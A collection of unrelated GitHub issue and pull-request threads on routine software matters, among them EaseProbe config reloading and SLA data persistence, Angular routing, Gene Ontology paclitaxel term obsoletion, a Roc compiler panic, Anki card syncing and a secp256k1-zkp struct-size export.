[feature request]Hot reloading support

Background & X Problem
Currently (2022-05-05), easeprobe does not support hot reloading, so the problem is that if I just modify the config.yaml file (which can be a frequent action), then I need to restart the application for it to take effect.
Proposal and Expectation
We can add a reload option to the configuration file to enable it:
reload:
  enabled: true # default is false
  period: 10s # scan interval, default is 10s

Solutions & Y Problems
We need to not lose the SLA information that the configuration has not changed when the reload is turned on.

Hi @douglarek and @haoel I may have an alternative suggestion for this, not sure if this also satisfies your original requirements, but it may be better if we did this through a signal handler (eg SIGHUP). It will also be much simpler to implement (i think)?
Having the application reread the configuration all the time without an admin intervention is a bit dangerous imho. I much rather have control of when the application re-reads its configuration.
What do you think?

Actually, I thought this feature a couple of weeks ago.
To accomplish this feature, We need to do understand how we change the prober's configuration and keep the SLA statistics.
There are several works need to do

Detect the configuration file changes or just handle a signal likes @proditis mentioned above.

We need a uniq identity for each prober, so that we can do add, delete, and update operations. Maybe we can reuse the name of prober to do this(back compatibility)

We can put the SLA statistics into a dedicated map[probe-name, SLA]. Then, we can simply destroy all of probes and recreate all probers. This need a bit more refactoring.

For notifications configuration changes, just destroy and recreate all of them.
But we need to know the SLA is still stored in memory, I am thinking about persistent them, if we persistent that, we can free to restart the EaseProbe.
I quite like to persistent the SLA statistics into a file. How do you guys think?

Hao

@douglarek I think the X-problem of this feature should be that keep the SLA statistics after the process restart, and the Y-Problem is reloading the configuration without exiting the process. Right?
-- Hao

@haoel I agree, having the SLA statistics persist into a file will solve more than just this problem :smiley: (such as restarts for updating the actual easeprobe binary)

@douglarek I think the X-problem of this feature should that keep the SLA statistics after the process restart, and the Y-Problem is reloading the configuration without exiting the process.
Am I Right? ;-)
-- Hao

totally agree.

Design
Data structure
  ┌──────┐    ┌──────┐       ┌──────┐
  │prober│    │prober│       │prober│
  ├──────┤    ├──────┤  .....├──────┤
  │Result│    │Result│       │Result│
  └───▲──┘    └──▲───┘       └───▲──┘
      │          │               │
      │          │ref            │
      │ref   ┌───┴────────────┐  │ref
      └──────┤    KV Store    ├──┘
             │ <Name, Result> │
             └────────────────┘
                probe/data.go

                   │    ▲
                   ▼    │

            $CWD/data/data.yaml
       ( config - settings.sla.data )

Process
                               Remove probe data
   Read Data                    that is not in
   from file                      config file
   ┌──────┐     ┌──────────────┐   ┌───────┐     ┌──────┐
   │ Load ├─────►Config Probers├───► Clean ├─────► Save │
   └──────┘     └──────────────┘   └───────┘     └──────┘
  initData()     configProber()    CleanData()   saveData()
 conf/conf.go       main.go       probe/data.go   main.go

Graceful Shutdown
                                                          configProbers()
                                                             main.go
                                                         ┌──► prober A
                                             ┌─────────┐ │
                        1)exit all probers ─►│doneProbe├─┼──► Prober B
                                             └─────────┘ │
 SIGTERM     ┌────┐     2)wait probers exit    channel   └──► Prober C
 SIGINT  ──► │done├──►                       ┌─────────┐
             └────┘     3)exit the watch ───►│doneWatch├────► Watch & Notify
             channel                         └─────────┘       watchEvent()
                        4)exit the save        channel           main.go
                                   │         ┌────────┐
                                   └────────►│doneSave├─────► Save the Data
                                             └────────┘         saveData()
                                               channel            main.go

@douglarek the PR has been merged, could you please have a try?

@douglarek the PR has been merged, could you please have a try?

thanks, i will have a try

@douglarek the PR has been merged, could you please have a try?

I have tested it in my internal k8s cluster, it works fine.
A little more thought: should we have a data.yml cleanup strategy ? I found it would keep all old data.yml as this:
$ ls data/
data.yaml  data.yaml-2022-05-09T14:37:32+08:00  data.yaml-2022-05-09T14:41:05+08:00

Or should we keep all history files ?
thanks.

@douglarek
Yes, I do this on purpose.
The reason is that I don't know how many historical files we need to keep, and the file is so small only created when Easeproce is restarted, so it's ok to keep all history, we know, Linux ext4 fs supports 2^32 files in one directory. So, it won't impact anything.
And I agree with you, those historical files might be too much in the future, probably, it's fine we can just keep a few of them.
So, do you want to do some code work to help on this ?
-- Hao

@douglarek
Yes, I do this on purpose.
The reason is that I don't know how many historical files we need to keep, and the file is so small only created when Easeproce is restarted, so it's ok to keep all history, we know, Linux ext4 fs supports 2^32 files in one directory. So, it won't impact anything.
And I agree with you, those historical files might be too much in the future, probably, it's fine we can just keep a few of them.
So, do you want to do some code work to help on this ?
-- Hao

Thank you for detailing the goal. Considering that restarting is not a high-frequency operation, and the k8s instance will drift to different nodes after being restarted, its size and number should not be a big problem, maybe it can be put on hold.

I believe this should be configurable somehow, something like history: true maybe?
This way we dont put another task on the sysadmins shoulders :partying_face:, to clean up and monitor these files.
If you agree I will take a look later today to see if i can figure out how to make this change :smiley:
PS: @haoel now that this feature is in main should I open another issue for this particular change?

@proditis Cool! You can do anything you like!

#81  merged. @douglarek please have a try！

@haoel I did a quick test and i noticed two small issues

I tested with the following configuration snippet

  sla:
    backups: 20
    schedule : "daily"
    time: "23:59"
    debug: false

running easeprobe in the foreground and although easeprobe creates the data/data.yaml when it starts. It never gets rotated with SIGHUP.
Setting the data: data.yaml creates rotations as expected.
I think that if there is no data: key for sla: then maybe we should skip the creation of data.yaml altogether?

I wanted to create the data.yaml file on the current folder (no subfolders), so i added data: ./data.yaml but the file got created as data/data.yaml. In fact there is no way to define an absolute path for data.yaml without having a /data/ folder being injected between (eg a setting of data: /tmp/data.yaml created a file /tmp/data/data.yaml)

@proditis my response as below.

The self-rotate default value is false, and the data default is data.yaml, so the behavior of SIGHUP just simply closes data.yaml and opens the data.yaml, because the logrotate would rename the data.yaml to a backup. if the outside program only sends the HUP but no rename, it looks like nothing happened.

And the backups are ignored if self_rotate: false.  if you configure the self_rotate: true, then EaseProbe would rename the data file. and if the self_rotate: false.
I tested your configuration, it works as expected. Please verify it again.
(p.s. I mannally run the logroate : logrotate --force /etc/logrotate.conf)

The reason for using a dedicated data directory is the high availability architecture. For example, we usually mount a distributed filesystem to store the important data,  or when we run the EaseProbe on the kubernetes, we can create the PV/PVC for this directory and mount it to K8s Pod, so that EaseProbe can be deployed to any nodes.  I think this is the best practice, I just enable it as the default behavior.

Using the absolute path also is a best practice, because it is consistent. The relative path is not. because the program could be run by shell command, or systemd, or sysvinit, so, the relative path could be a different place.
I cannot understand why we cannot configure the absolute path. could you please tell me more?

Sorry, I mixed up the log and the data file. the above message is wrong, the data.yaml won't rotate, because it is not an appended file. the size is consistent.

@haoel Thank you for the excellent explanations once again

this was my understand of how it worked, it was clearly wrong :smile: I will update my tests to reflect that

Let me clarify this a bit more. I agree with your statement that using absolute path should be encouraged, however i couldnt make easprobe to actually use that absolute path.
I added this data: /tmp/data.yaml to my configuration. The location for the data.yaml should be /tmp/data.yaml but instead easeprobe converts it to /tmp/data/data.yaml (notice the /data/ folder between /tmp/ and data.yaml check https://github.com/megaease/easeprobe/blob/main/conf/conf.go#L290)

I hope this helps.

Finally, I understand the case! Thank you @proditis !
The problem is that I keep adding the data directory! this definitely is a bug!  I mixed the scenarios.

Case One: No data file configured, then we use the $CWD/data/date.yaml as the default.
Case Two: data file name configured, but not configured the directory, such as: mydatafile.yaml, we use the $CWD/data/mydatafile.yaml
Case Three: the full path has been configured. we just simply use the full path.
Case Four: the disable flag configured - data : - , then we disable the data file.

So, the code logic should be:
if datafile == `-` then return
dir, file := filepath.split(datafile)
if dir == "" then dir = filepath.join( getcwd(), "data")
if file == "" then file = `data.yaml`

filepath.join(dir, file)

@haoel I think that this issue is resolved and we can safely close it. The features requested where all implemented and confirmed as working by the original poster and I.

Close this issue!


Resetting state in TransferStateService is probably not the best idea

I've been experimenting a little and to me the line:
/** reset the state, so new components will never get stale data */
    tap(() => this.stateBS$.next(undefined)),

Seems more like a source of flashing rather than improvement. Consider following structructe:
app.component (hosts <route-outlet>
landing.component (hosts <page-layout>)
about.component (hosts <page-layout>)
Then in page-layout.component there is a header, content projection and a footer. Each part gets content for itself from TransferStateService.
Now what happens when you go from landing to about is that components page-layout gets recreated but since data is not there yet at time of creation it will lead to flashing which looks really like bad UX. What I could do in my app to resolve this is put page-layout in app.component instead, but that limits flexibility, because then I cannot easily create a page that would need to have a different structure.
I think that tap(() => this.stateBS$.next(undefined)), should be dropped or somehow made configurable. Thing is that if the service won't clear state, I would be able to handle when I want to reset it myself. But this way it's a bit more tricky imo.

There will be no flash in the case you are describing.
The filter in the state$ prevents the undefined from prolongation into existing components.
Only when the routing is complete, new information might come in, and all interested parties will get an update. As the new route might update all levels in the app, this is exactly as designed.

There is a flash, because component is initialized before TransferStateService gets the data, at least that's my impression so far, but I think you're right I should probably try to solve it from within my app somehow.

After we talked in chat I decided to go with solution I mentioned in original description, that I will move common parts outside of router-outlet and prevent rerendering of those completely. To achieve flexibility nested empty path router-outlet can be used. Example config:
[{
 path: '',
 component: PageLayout,
 children: [
    { path: '', pathMatch: 'full', loadChildren: () => import('./landing/landing.module').then(m => m.LandingModule) },
    { path: '404', loadChildren: () => import('./not-found/not-found.module').then(m => m.NotFoundModule) },
 ]
},
{ path: 'login', loadChildren: () => import('./login/login.module').then(m => m.LoginModule) },
{ path: '**', redirectTo: '404' },
]

Then in app.component only <router-outlet> would sit while in page-layout <router-outlet> would be wrapped with extra content


response to paclitaxel

Hi Karen
I think I have missed some of the discussions on the drug response and drug metabolism terms.
There are currently 4 terms with

GO:0042616                paclitaxel metabolic process
754 annotations

GO:0042617                paclitaxel biosynthetic process
752 annotations

GO:1901555                response to paclitaxel
19 annotations

GO:1905705                cellular response to paclitaxel
3 annotations

The metabolism/biosynthesis definitions refer to paclitaxel as an anti-cancer agent, although it is a naturally occuring chemical found in the yew tree bark:
The chemical reactions and pathways resulting in the formation of paclitaxel, an alkaloid compound used as an anticancer treatment.
Should the response to paclitaxel terms exist? if so should their use in annotations be limited to those plant that synthesis paclitaxel with the taxon constraint of not in mammals be associated with this term. With the existing non-plant annotation moved to response to drug terms with https://www.ebi.ac.uk/chebi/searchId.do?chebiId=CHEBI:45863 in the annotation extension with 'has_input' relation?
I guess these non-plant annotations could also be associated with the response to paclitaxel parent term response to lipid?
Thanks
Ruth

Hi Karen
I think I have missed some of the discussions on the drug response and drug metabolism terms.
There are currently 4 terms with
GO:0042616 paclitaxel metabolic process 	754 annotations
GO:0042617 paclitaxel biosynthetic process 	752 annotations

The vast majority of these are IEA annotations. The taxa I took a quick look at are all other conifers.

Evidence   Code
paclitaxel biosynthetic process
paclitaxel metabolic process
Grand Total

IDA

2
2

TAS
2

2

IEA
750

750

Here are the 4 non-IEA annotations.

Symbol
Gene name
GO term
Source
Taxon
Ev
Reference
Date

pam
Phenylalanine aminomutase (L-beta-phenylalanine forming)
paclitaxel biosynthetic process
UniProt
Taxus chinensis
TAS
PMID:24786474
20140604

pam
Phenylalanine aminomutase (L-beta-phenylalanine forming)
paclitaxel biosynthetic process
UniProt
Taxus canadensis
TAS
PMID:21361343
20140604

Q84KI1
Taxoid 14-beta-hydroxylase
paclitaxel metabolic process
UniProt
Taxus cuspidata
IDA
PMID:12729625
20120629

Q6JTJ0
Taxoid 7-beta-hydroxylase
paclitaxel metabolic process
UniProt
Taxus cuspidata
IDA
PMID:15157877
20120629

I'd say these annotations all look appropriate.

The metabolism/biosynthesis definitions refer to paclitaxel as an anti-cancer agent, although it is a naturally occuring chemical found in the yew tree bark:
Def: The chemical reactions and pathways resulting in the formation of paclitaxel, an alkaloid compound used as an anticancer treatment.

I agree that the definition should be revised. How about using the description from ChEBI instead of mentioning its use as a cancer drug. Here's an idea:
Proposed new def: The chemical reactions and pathways resulting in the formation of paclitaxel, a tetracyclic diterpenoid isolated originally from the bark of the Pacific yew tree, Taxus brevifolia.

GO:1901555 response to paclitaxel 	19 annotations
GO:1905705 cellular response to paclitaxel 	3 annotations

Should the response to paclitaxel terms exist? if so should their use in annotations be limited to those plant that synthesis paclitaxel with the taxon constraint of not in mammals be associated with this term. With the existing non-plant annotation moved to response to drug terms with https://www.ebi.ac.uk/chebi/searchId.do?chebiId=CHEBI:45863 in the annotation extension with 'has_input' relation?
I guess these non-plant annotations could also be associated with the response to paclitaxel parent term response to lipid?
Thanks
Ruth

Hi Karen
thanks for your comments I agree with your interpretation.
Your proposed new def: The chemical reactions and pathways resulting in the formation of paclitaxel, a tetracyclic diterpenoid isolated originally from the bark of the Pacific yew tree, Taxus brevifolia.
looks good to me, please implement
I will contact RGD and Flybase and see what they want to do with these
Best
Ruth

Hi Karen
thanks for your comments I agree with your interpretation.
Your proposed new def: The chemical reactions and pathways resulting in the formation of paclitaxel, a tetracyclic diterpenoid isolated originally from the bark of the Pacific yew tree, Taxus brevifolia.
looks good to me, please implement

Great. Thanks for checking the proposal. I'll change this next week.

I will contact RGD and UniProt and see what they want to do with these

Thanks!
I think that transferring these annotations to the existing terms "response to xenobiotic stimulus" and/or "response to organic cyclic compound" would be good options.
It might be that we should consider obsoleting response terms like this, to some specific compound that is generally a xenobiotic for most organisms. I think that there are a lot of them, and I don't want to get involved in going through them systematically. However, since we've just done the analysis for this one, I wouldn't mind proposing to obsolete it now since I think there are reasonable existing options to transfer the annotations to. What do you think @RLovering ?

Hi
in UniProt we asked curators to apply this rule of thumb when annotating enzymes and transporters: limit the annotation to those compounds that the enzyme / transporter would have evolved to deal with. We asked them not to think of whether the compound is an "endogenous metabolite" or xenobiotic, as that isn't always helpful; a transporter that evolved to exclude heavy metals from cells is dealing with compounds the cells don't want, and are not metabolites or endogenous compounds of the cell, but that is the biological function.
So we do have curators annotating natural product metabolic pathways in UniProt (drugs). That is in scope. This is mainly in fungi and plants and a few microbes. But we don't want to get into annotating the effects of these compounds on say human proteins. That is out of scope (rather in scope for a resource like DrugBank or ChEMBL).
Could you apply the same rule of thumb to response to terms for drugs like taxol? i.e. allow the response to term for organisms that evolved mechanisms to respond to those compounds (in the doses in which they are found in the environment naturally), which like Karen said, may include insects, or maybe microorganisms. That would allow you to keep the term and not obsolete it. Most cells will respond to most insults if the dose is high enough.
Terpenes are isoprenoids which are lipids. Annotating to response to lipid is not really informative though - human cells may contain up to 100,000 lipids, and given their ubiquity and central roles in structuring cells, most processes could probably be affected by changes in one or more lipids/membranes given a high enough dose/change.
All the best, Alan

Hi Alan,
Thanks very much for your thoughtful comments on this issue. @vanaukenk put this on the agenda for the GO annotation call on 7/20/21 for discussion. We are not currently considering a large scale obsoletion of terms of this type, but we do feel that many of them were created to deal with specific experiments applying exogenous chemicals to organisms were not evolved to deal with. Below, I give some of the current thinking of the ontology editors group.

in UniProt we asked curators to apply this rule of thumb when annotating enzymes and transporters: limit the annotation to those compounds that the enzyme / transporter would have evolved to deal with. We asked them not to think of whether the compound is an "endogenous metabolite" or xenobiotic, as that isn't always helpful; a transporter that evolved to exclude heavy metals from cells is dealing with compounds the cells don't want, and are not metabolites or endogenous compounds of the cell, but that is the biological function.

I initially proposed obsoleting all of the xenobiotic terms as the role of "xenobiotic" varies depending on the compound-species combination. When we discussed the role of "xenobiotic" at an ontology editors meeting, it was agreed to obsolete  "xenobiotic" terms from the Molecular Function aspect of the ontology because it is not possible to define a function that is always true with respect to a role which may or may not be relevant in a given context. However, @thomaspd wanted to keep xenobiotic terms in the Biological Process aspect, as it is a normal process for organisms to need to respond to foreign, i.e.xenobiotic, compounds. Though we will keep xenobiotic terms in the Process aspect, we will not longer assert that any specific compound is a xenobiotic within the GO structure since it is often not true for all organisms. Thus, annotating to a term like "response to xenobiotic stimulus" is not going to give you any sense of what type of what type of chemical is involved. To annotate the chemical info would require annotating to a chemically relevant term. A chemically relevant term could be a very specific term like the existing "response to paclitaxel", or it could be a more general term like the "response to organic cyclic compound" term I suggested.

We do have curators annotating natural product metabolic pathways in UniProt (drugs) (see https://pubmed.ncbi.nlm.nih.gov/33445429/). That is in scope. This is mainly in fungi and plants and a few microbes. But we don't want to get into annotating the effects of these compounds on, say, human proteins. That is out of scope for UniProt now - more the goal of a resource like DrugBank or ChEMBL.

Could you apply the same rule of thumb to response to terms for drugs like taxol? i.e. allow the response to term for organisms that evolved mechanisms to respond to those compounds (in the doses in which they are found in the environment naturally), which like Karen said, may include insects, or maybe microorganisms. That would allow you to keep the term and not obsolete it. Most cells will respond to most insults if the dose is high enough.

Regarding annotations to the term "response to paclitaxel", I think that all of the current experimental annotations to these terms (made for rat & drosophila) need to be reevaluated as I doubt they meet the curation criterion you stated above: "limit the annotation to those compounds that the enzyme / transporter would have evolved to deal with", which is also the strategy that GO is currently trying to apply, though it has not always been applied in the past. Rather, I think that this term was requested in order to annotate experiments that used exogenously-applied paclitaxel. If there was a current annotation need for the term "response to paclitaxel", I would have no objection to keeping it. However, the plants that produce it have only been annotated to the "paclitaxel biosynthetic/metabolic process" terms, and have NOT been annotated to the "response to paclitaxel" term, which I think is appropriate since I don't think we generally create "response to x" terms for endogenous stimuli. Thus, at the moment, I am slightly in favor of obsoleting this term as I don't think there is any current annotation need for it.

Terpenes are isoprenoids which are lipids. Annotating to response to lipid is not really informative though - human cells may contain up to 100,000 lipids, and given their ubiquity and central roles in structuring cells, most processes could probably be affected by changes in one or more lipids/membranes given a high enough dose/change.

I completely agree that "response to lipid" would not be an informative annotation. As I said above, I think "response to organic cyclic compound" might be appropriate.

Dear all,
The proposal has been made to obsolete

GO:1901555 response to paclitaxel
and
GO:1905705 cellular response to paclitaxel

The reason for obsoletion is that this represents a response to xenobiotic stimulus, and we have decided that we would not create responses to all specific xenobiotics.
There are 2 EXP annotations to this term by RGD.
You can comment on the ticket:  https://github.com/geneontology/go-ontology/issues/21750
Thanks, Pascale

merge GO:0042617 paclitaxel biosynthetic process into parent
GO:0042616 paclitaxel metabolic process

The RGD annotations have been changed.


[1.20] Backport #20408 cryptomb: remove PKCS1_5 padding support.

Commit Message:
Backport: cryptomb: remove PKCS1_5 padding support (https://github.com/envoyproxy/envoy/pull/20408)
Additional Description: Drop RSA signing PKCS1 v1.5 padding support (which wasn't functional). Corresponding PR to v1.21 branch is here https://github.com/envoyproxy/envoy/pull/20507. Also start release 1.20.4 process in the release branch.
Risk Level: low
Testing: Unit tests
Docs Changes: N/A
Release Notes: cryptomb: remove RSA PKCS1 v1.5 padding support.
Platform Specific Features: CryptoMB extension works on 3rd Gen Intel Xeon Scalable processors.

pradeep, you can (hopefully) /assign-from [AT]envoyproxy/senior-maintainers when you've done your pass?

/assign-from @envoyproxy/senior-maintainers


Create ntbg.txt

National Trade and Banking High School

@martinyakimov25 Pull request merged. Thank you!


NetCDF output z coordinate is interpolated when netcdf_output_at_levels is true

For example, see the prognostic_edmfx_bomex_column job in ci.

It might because we are adding the interpolated z dimension here regardless of disable_vertical_interpolation?


enable FIPs tests for 4.17

Which issue(s) this PR addresses:

Closes #

/test metal-periodic-test

/lgtm


Added link to Greek translation

Hey @ncase!
Added a link to the Greek translation.

Ευχαριστώ!  Super appreciated you took the time & effort to help this reach more folks :) 🎉


Refactor python op namespaces

mx.nd/sym.contrib
mx.nd/sym.random
mx.nd/sym.linalg
In ndarray.py and symbol.py, define sum = op.sum

Hi, @reminisce , how could I develop a new operator outside the mxnet src directory, and still able to call it using python? I may need to implement a new operator but using your prebuilt binary packages, will that be possible?

I think it's possible but requires a lot of efforts on setting up the build environment for your implementation, including necessary header files and linking libs. It would be much easier if you could build from MXNet source code than using a prebuilt lib if you want to develop an operator. Is building from source feasible to you?

yes, of course. I would do it that way. Just one question, if I want to use
intel MKL, is it true that I just need to download the intel_mklml from
https://github.com/dmlc/web-data/raw/master/mxnet/mklml-release/mklml_lnx_.tgz and don't need to install entire mkl from INTEL?
On Thu, Dec 7, 2017 at 3:59 AM, reminisce<EMAIL_ADDRESS>wrote:

I think it's possible but requires a lot of efforts on setting up the
build environment for your implementation, including necessary header files
and linking libs. It would be much easier if you could build from MXNet
source code than using a prebuilt lib if you want to develop an operator.
Is building from source feasible to you?
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/reminisce/mxnet/issues/6#issuecomment-349757002, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AEts3_6Y4IXnv0z0apmwyYrla_BdJXP_ks5s9vIQgaJpZM4O_hqo
.

--
Chengzhe Yan
Department of Automation, Tsinghua Univ.
Cellphone:<PHONE_NUMBER>689
Email<EMAIL_ADDRESS>

I have not used MKL before. According the documentation, https://github.com/apache/incubator-mxnet/blob/master/MKL_README.md, it looks like what you said.


Migrate Content to the ServiceNow Sharepoint

Once the ServiceNow team delivers the sharepointe, migrate over all the content from the Adobe Sharepoint.

Content has been migrated to the customer's sharepoint.


How can find avsInitialCode?

How can find avsInitialCode?
I do not know where can I see a avsInitialCode

you should get it from amazon with using these instructions
https://github.com/sakirtemel/MMM-alexa#1-adding-magicmirror-to-amazon-avs-service


[DOC] Add development section to the docs

Change in the documentation
Create a new section in the docs that focuses on development.
The structure could like something like this:

Development

Integrations

Providers
Hooks

Contributing

The implementing provider section that currently lives under concepts should be moved to the new location. The implementing hooks section should be moved to the new location and expanded.

Ya, this seems like an improvement compared with what we already have which mixes conceptual and practical dev docs.


Compiler panic from attempt at cyclic definition

This code causes a compiler panic in canonicalization:
app "sscce"
    packages { base: "platform" }
    imports [ base.Task ]
    provides [ main ] to base

main : Task.Task {} *
main =
    loop

loop : Task.Task {} *
loop =
    Task.await loop

The backtrace is:
thread '<unnamed>' panicked at 'no entry found for key', compiler/can/src/def.rs:593:39
stack backtrace:
   0: rust_begin_unwind
             at /rustc/2fd73fabe469357a12c2c974c140f67e7cdd76d0/library/std/src/panicking.rs:493:5
   1: core::panicking::panic_fmt
             at /rustc/2fd73fabe469357a12c2c974c140f67e7cdd76d0/library/core/src/panicking.rs:92:14
   2: core::option::expect_failed
             at /rustc/2fd73fabe469357a12c2c974c140f67e7cdd76d0/library/core/src/option.rs:1292:5
   3: core::option::Option<T>::expect
             at /rustc/2fd73fabe469357a12c2c974c140f67e7cdd76d0/library/core/src/option.rs:349:21
   4: <std::collections::hash::map::HashMap<K,V,S> as core::ops::index::Index<&Q>>::index
             at /rustc/2fd73fabe469357a12c2c974c140f67e7cdd76d0/library/std/src/collections/hash/map.rs:1116:9
   5: roc_can::def::sort_can_defs::{{closure}}
             at ./compiler/can/src/def.rs:593:39
   6: ven_graph::topological_sort_into_groups
             at ./vendor/pathfinding/src/lib.rs:197:40
   7: roc_can::def::sort_can_defs
             at ./compiler/can/src/def.rs:603:19
   8: roc_can::module::canonicalize_module_defs
             at ./compiler/can/src/module.rs:187:11
   9: roc_load::file::canonicalize_and_constrain
             at ./compiler/load/src/file.rs:3559:25
  10: roc_load::file::run_task
             at ./compiler/load/src/file.rs:4036:14
  11: roc_load::file::load::{{closure}}::{{closure}}
             at ./compiler/load/src/file.rs:1376:54

Fixed now! The error is:
── TOO FEW ARGS ────────────────────────────────────── examples/helloWorld.roc ─

The await function expects 2 arguments, but it got only 1:

12│      Task.await loop
         ^^^^^^^^^^

Roc does not allow functions to be partially applied. Use a closure to
make partial application explicit.

── TYPE MISMATCH ───────────────────────────────────── examples/helloWorld.roc ─

Something is off with the body of the main definition:

6│  main : Task.Task {} *
7│  main =
8│      loop
        ^^^^

The type annotation on main says this loop value should have the type:

    Task {} *

However, the type of this loop value is connected to another type in a
way that isn't reflected in this annotation.

Tip: Any connection between types must use a named type variable, not
a *! Maybe the annotation  on main should have a named type variable
in place of the *?

────────────────────────────────────────────────────────────────────────────────


updated haiku upgrade guide

Updated haiku upgrade guide. Clarified the reasoning behind the discrepancy between the training arg value when initializing parameters of a model with a BatchNorm layer.

Codecov Report

Merging #3292 (d55f775) into main (ba9e24a) will decrease coverage by 0.02%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##             main    #3292      +/-   ##
==========================================
- Coverage   82.61%   82.60%   -0.02%
==========================================
  Files          55       55
  Lines        6317     6317
==========================================
- Hits         5219     5218       -1
- Misses       1098     1099       +1

see 1 file with indirect coverage changes


Fix for the missing last4 on subscriptions.

Some preliminary work for saving "Last Charged" in the db.
Requires a "python manage.py migrate"

👍


HEVC ENC:10bit support merged

add the P010 input
add support for HEVC 10bit encoding
add pixelwidthinbyte to help caculate the width of image when 8/10 bit
Signed-off-by: Pengfei Qu<EMAIL_ADDRESS>

Hi @QuPengfei
thanks for your patch, could your add patch on top of this pull request.https://github.com/01org/libyami/pull/638
thanks

Hi @QuPengfei
the hevc decoder have been merged, is any update on this?
thanks

pengfei is busy with other things. dongping will help to rebase the code at #668 . Close this


Logout option before closing driver?

Hi,
Can we have logout option before we close driver?
Thanks!

Possible duplicate of #257


The card cannot be updated, when there are more than 5 noteID annotations in the .md file

Thanks for you, this tool is very useful！
Problem Description:

When I add a noteID annotation to a card in the .md document, everything goes smoothly until I add a noteID annotation to the sixth card, which does not get updated. Additionally, a prompt "Deck not sent: request to http://<IP_ADDRESS>:8765/failed, reason: connect ECONNREFUSED <IP_ADDRESS>:8765" pops up in the bottom right corner of vscode.

Content of the .md document:

Thanks for the Tool, indeed very useful. ❤
Is anyone currently working on this Issue?
On my tests with no initial  notecardId   after the 6th card all the Id's are  null.
So maybe there is a Issue with the Id allocation?
Or could it be related to an Update of the Anki-Connector Plugin?

Thanks @JeffreyAnimal
There’s currently no one working on this, I haven’t had much time but am always open to PRs or contributions.

After a bit of Testing it showed that the reason is not the request itself sent to the Anki Connector.
Maybe the Connector has a request Limit after whitch the connection is refused and returning "connect ECONNREFUSED <IP_ADDRESS>:8765".
Because sometimes on Debugging, the Error appears, but the 6th Card is still Updated.
A Idea would be to check if a Card value has been changed and only Update the Cards with changes. The Issue would still be, that only 5 or so Cards can be Updated simulaneously.
Another Idea would be to send only a limited amount of Update request and only send more, when the first few have been answered.

I tried a deck of 1000 cards with the new release and could not reproduce this.
$ cat ./issue-121.sh
#!/bin/sh
echo "# test"
i=0
while [ $i -lt $1 ]
do
  echo "## Front $i"
  echo "Back $i"
  i=$((i + 1))
done

$ chmod +x ./issue-121.sh

$ ./issue-121.sh 1000 > issue-121.md

$ head -9 issue-121.md
# test
## Front 0
Back 0
## Front 1
Back 1
## Front 2
Back 2
## Front 3
Back 3

$ tail -9 issue-121.md
Back 995
## Front 996
Back 996
## Front 997
Back 997
## Front 998
Back 998
## Front 999
Back 999

I used "Anki: Send to own deck" to generate the IDs and send the deck to Anki, which took several minutes, but everything seemed to arrive okay.
$ head -9 issue-121.md
# test
## Front 0

<!-- notecardId:<PHONE_NUMBER>824 -->
Back 0
## Front 1

<!-- notecardId:<PHONE_NUMBER>829 -->
Back 1

$ tail -9 issue-121.md
Back 997
## Front 998

<!-- notecardId:<PHONE_NUMBER>837 -->
Back 998
## Front 999

<!-- notecardId:<PHONE_NUMBER>844 -->
Back 999

I don't think the card count itself is causing the problem; there must something else going on.

@ccammack The Issue isn't sending a new Deck to the Anki but Updating a existing Deck where the notecardId has already been set.

Thanks, @JeffreyAnimal, I got it to happen about 2 minutes after starting the sync.
$ sed -i "s/## Front/## Front (changed)/g" issue-121.md
$ sed -i "s/Back/Back (changed)/g" issue-121.md

This has been fixed and released in https://github.com/jasonwilliams/anki/releases/tag/v.1.3.4


Strip metadata from images

Use maybe this library:
https://github.com/felixc/rexiv2

https://github.com/yzernik/squeakroad/pull/513


export sizeof(secp256k1_surjectionproof) as SECP256K1_SURJECTIONPROOF_RAW_SIZE

the rationale is explained in #36 - knowing the struct size used in particular version of the library enables to alloc the struct without access to secp256k1_surjectionproof.h
For example, with python:
>>> import ctypes
>>> secp256k1 = ctypes.cdll.LoadLibrary('.libs/libsecp256k1.so')
>>> surjectionproof_size = ctypes.c_int.in_dll(secp256k1, 'SECP256K1_SURJECTIONPROOF_RAW_SIZE').value
>>> surjectionproof_size
8264
>>> proof = ctypes.create_string_buffer(surjectionproof_size)

# secp256k1.secp256k1_surjectionproof_initialize(secp256k1_blind_context, proof, ...)

cc @apoelstra

If the library authors decide that this is better done with a function that returns the size, I will submit a PR for that. I am preparing to create a release of python-bitcointx with support for Elements sidechain, but having a requirement to apply the patch to the secp256k1-zkp source before using python-bitcointx for Elements is not very convenient. I would appreciate a comment from the authors about how they think this should be handled.

cc @gmaxwell @sipa

We had some comment on IRC and weren't clear on the motivation for this; how are you using this struct at all without the include file?

I ported the transaction blinding code from C++ in Elements (https://github.com/ElementsProject/elements/blob/7f6351782a1555696e69d5ffc5304005a07876cd/src/blind.cpp#L224) to python (https://github.com/Simplexum/python-bitcointx/blob/31f95df76ae163a5139ef0bf6a9ec556c9c09cfd/bitcointx/sidechain/elements.py#L777)
In SurjectOutput(), the secp256k1_surjectionproof structure is allocated on the stack, and then passed to secp256k1_surjectionproof_initialize(). To port this code cleanly to python, I needed to know the size of the structure.

how are you using this struct at all without the include file?

By using the change presented in this PR.
In this PR, this is done by exporting a special symbol that is statically assigned with
const int SECP256K1_SURJECTIONPROOF_RAW_SIZE = sizeof(secp256k1_surjectionproof);
Here is the lines in python code that do the allocation using this symbol: https://github.com/Simplexum/python-bitcointx/blob/31f95df76ae163a5139ef0bf6a9ec556c9c09cfd/bitcointx/sidechain/elements.py#L1473

rebased on current tip of secp256k1-zkp branch.

If I understand correctly @apoelstra is asking because #36 can be interpreted as you're not using the include file. But it seems more like you are using it but you're concerned that the include file might be inconsistent with the (dynamically loaded) library. If that's the case I think it makes more sense to ship it with your code, link it statically or otherwise ensure that include file and library are consistent (as is the case with other libraries not only libsecp). If the files are inconsistent you might have more problems than just a different surjectionproof size.

It is normal to use dymanically loaded library without the header, especially if your are using the library through FFI of some higher-level language. Linux distos usually ship headers in a separate *-dev package or the like. If you have certain values defined in a header file (that are part of the API), you just take this constants and copy to your higher-level language library code. For example, secp256k1_generator struct in include/secp256k1_generator.h is guaranteed to be 64 bytes in size (as per the comments in the file), so I can use SECP256K1_GENERATOR_SIZE = 64 in python code.
